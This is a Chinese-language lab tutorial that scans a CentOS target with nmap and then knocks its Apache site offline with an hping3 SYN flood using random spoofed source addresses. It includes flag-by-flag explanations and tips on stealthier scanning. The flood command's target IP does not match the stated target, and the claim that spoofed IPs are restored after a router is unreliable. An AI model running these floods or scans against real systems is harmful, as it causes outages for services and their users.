一.环境配置
攻击机:kali 2021.1 ip: 192.168.0.118 255.255.255.0
靶机:contos7.6 ip:192.168.0.116 255.255.255.0
条件:两机器要在同一局域网中,能相互访问contos开启apche服务
二.信息收集
1.Traceroute 命令也可以对路由进行跟踪
nmap 目标ip --exclude 排除目标ip 扫描时排除指定ip
nmap -iL 目标文件 扫描指定文件夹的ip
nmap -iR 目标数量 随机扫描指定iP数量
nmap -sn 目标 只探测主机是否存活,不对端口和其他信息进行扫描
nmap -sn -PR 目标 通过ARP协议扫描主机是否存活
nmap -PE 目标 过程上和ping命令无异
nmap -PP 目标 通过ICMP协议的时间戳的方式发现主机是否存活
nmap -PM 目标 通过ICMP协议的地址掩码发现主机
nmap -PS [端口,端口,端口...] 目标 通过TCP协议来扫描主机是否存活(全连接扫描)
nmap -PU 目标 通过UDP方式扫描
nmap --data-length 25 目标 通过参数--data--length 25 来发生随机数据包
nmap --packet-trace 目标 追踪nmap发送的数据包
这里我们使用nmap -sn这个参数来判断主机是否存活,up表示存活
这里也可以使用nmap -sS 半连接扫描,这个方式相对于上面的要隐蔽性高些不容易被网络管理员发现
三.DDOS攻击-SYN洪水攻击原理和tcp三次握手原理简述(图片来自网络)
TCP三次握手的原理简说,客户机A给服务器B发一个建立连接的请求,然后服务器B收到请求,给客户机A回一个包确认是否建立连接,然后客户机A收到包,给服务器B回复一个确认建立连接完成三次握手,然后就开始传输数据了。
SYN洪水攻击,就是利用TCP三次握手的原理来攻击的,在服务器B收到客户机A的求建立连接包时,服务器B给客户机A回复一个确认包,然后等待客户机A给自己回包,这时服务器B在等待客户机A的回包,资源就被占用了,而客户机A这时就不回信息了,服务就一直等待,等待到规定时间内如果客户机A还是没有回消息就不等待了!当很多的客户机同时用这个方法去访问服务器时,服务器的资源就很快被占用完了,正常想访问的客户就不能访问成功,严重的会导致服务器崩溃!
四.使用kali对centos进行SYN洪水攻击
1.打开centos7中的apache服务,并访问网站
systemctl start httpd //开启apache服务
systemctl stop firewalld.service //关闭防火墙
2.启动kali使用hping命令对靶机进行压力测试
┌──(rootkali)-[~/桌面]
└─# hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.120
-c 1000 = 发送的数据包的数量。
-d 120 = 发送到目标机器的每个数据包的大小。单位是字节
-S = 只发送 SYN 数据包。
-w 64 = TCP 窗口大小。
-p 80 = 目的地端口(80 是 WEB 端口)。你在这里可以使用任何端口。
--flood = 尽可能快地发送数据包,不需要考虑显示入站回复。洪水攻击模式。
--rand-source = 使用随机性的源头 IP 地址。这里的伪造的 IP 地址,只是在局域中伪造。通过路
由器后,还会还原成真实的 IP 地址。
3.重新访问网站,发现网站变慢了,当我们把-c的数据改大些的时候过一会就会发现网站被干崩了,就达到了我SYN洪水攻击的目的了。